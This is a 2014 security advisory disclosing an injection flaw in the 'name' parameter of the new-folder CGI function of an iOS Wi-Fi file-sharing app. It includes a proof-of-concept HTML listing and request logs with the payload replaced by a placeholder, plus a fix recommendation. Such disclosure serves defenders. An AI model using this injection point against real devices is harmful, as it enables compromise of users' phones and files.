Document Title:
===============
USB&WiFi Flash Drive 1.3 iOS - Code Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1316


Release Date:
=============
2014-09-15


Vulnerability Laboratory ID (VL-ID):
====================================
1316


Common Vulnerability Scoring System:
====================================
9


Product & Service Introduction:
===============================
The app take advantage of the free space of iPhone to store vast amounts of files. Supports both wireless and usb transferring.
Compatible with Windows 7, Windows XP, Windows Vista, Mac OS 10+ and Linux. It`s also an ALL-IN-1 reader and file browser. Images, videos,
music, documents are all supported: jpg, jpeg, png, tiff, tif, bmp, BMPf, ico, cur, xbm, mov, mp4, mpv, 3gp, aac, adts, ac3, aif, aiff, aifc,
caf, mp3, mp4, m4a, m4r, snd, au, sd2, wav, doc, xls, ppt, pdf, rtf, key, numbers, pages, gif, txt, html, htm.

( Copy of the Homepage: https://itunes.apple.com/us/app/usb-wi-fi-flash-drive-free/id503106759 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research team discovered a code execution vulnerability in the official USB & Wi-Fi Flash Drive v1.3 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2014-09-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Leping Li
Product: USB & Wi-Fi Flash Drive - iOS Mobile Web Application (Wifi) 1.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A remote code execution web vulnerability has been discovered in the official USB & Wi-Fi Flash Drive v1.3 iOS mobile web-application.
The vulnerability allows remote attackers to execute own system (device) specific codes to compromise the ios mobile application.

The remote code execution vulnerability is located in the name value of the cgi/newfolder/ function module. Remote attackers are able to
execute system specific codes in the GET method request of the insecure add `new folder` function. The execution takes place through
the name value of the items. The execution itself occurs in the index file manager listing of the wifi flash drive mobile application.
There is no filter mechanism or protection module to parse available that needs to be bypassed to provoke the execution. The attack vector
of the issue is location on the application-side and the request method to execute code is GET.

The security risk of the code execution vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.9.
Exploitation of the code execution vulnerability requires no privileged account or user interaction. Successful exploitation of the remote
vulnerability results in mobile application or device compromise.

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] cgi/newfolder/

Vulnerable Parameter(s):
				[+] name

Affected Module(s):
				[+] WiFi File Manager


Proof of Concept (PoC):
=======================
The remote code execution web vulnerability can be exploited by remote attackers in the wifi network without user interaction or privileged account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Wi-Fi Manager - Index Listing

<div id="photo_list_container" class="list" style="display: block;">
<ul id="photo_list" class="photocontainer"><li><a alt="1026" class="videolink" href="###">
<img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1026"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E</span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1026/[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E"><img src="/img/download.png"></a></span></li>
<li><a alt="1027" class="videolink" href="###"><img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1027"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E></span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1027/asdasdasd <[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E>">
<img src="/img/download.png"></a></span></li></iframe></span></li>
<li><a alt="1028" class="videolink" href="###"><img style="width: 120px; height: 120px;" onload="autoResizePhotoThumb(this);" src="/cgi/thumb/1028"></a>
<span class="namespan">[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E <[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E"></span><span class="downloadspan">
<a target="_blank" href="/fd-down/cgi/download/1028/[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E>"><img src="/img/download.png"></a></span></li></iframe></span></li></ul>
<div class="pagecontrol"><p id="page_control">1</p></div></div></div></div><div class="footer"><p>�2011- Wi-Fi Manager</p></div></div>


--- PoC Session Logs [GET] (EXEC CGI) ---
Status: 200[OK]
 GET http://ipad.localhost:8080/cgi/newfolder/[CODE EXECUTION IN DIRECTORY PATH VALUE!]%3E?0.7475382169664659 Load Flags[LOAD_BACKGROUND  ] Gr��e des Inhalts[12] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[ipad.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[application/json, text/javascript, */*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      X-Requested-With[XMLHttpRequest]
      Referer[http://ipad.localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Content-Length[12]
      Connection[close]

Status: 200[OK]
GET http://ipad.localhost:8080/[CODE EXECUTION IN DIRECTORY PATH VALUE!] Load Flags[LOAD_DOCUMENT_URI  ] Gr��e des Inhalts[916] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[ipad.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://ipad.localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Content-Length[916]
      Connection[close]



Reference(s):
http://ipad.localhost:8080/cgi/newfolder/
http://ipad.localhost:8080/cgi/
http://ipad.localhost:8080/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the new folder input in the cgi path. Restrict the name input and filter to prevent code
execution in the path values of the application. Encode and filter also the name output value in the wifi file manager index item listing module to prevent exploitation.


Security Risk:
==============
The security risk of the code execution web vulnerability in the new folder cgi module is estimated as critical.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    dev.vulnerability-db.com	 	- forum.vulnerability-db.com 		       		- magazine.vulnerability-db.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright � 2014 | Vulnerability Laboratory [Evolution Security]



--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com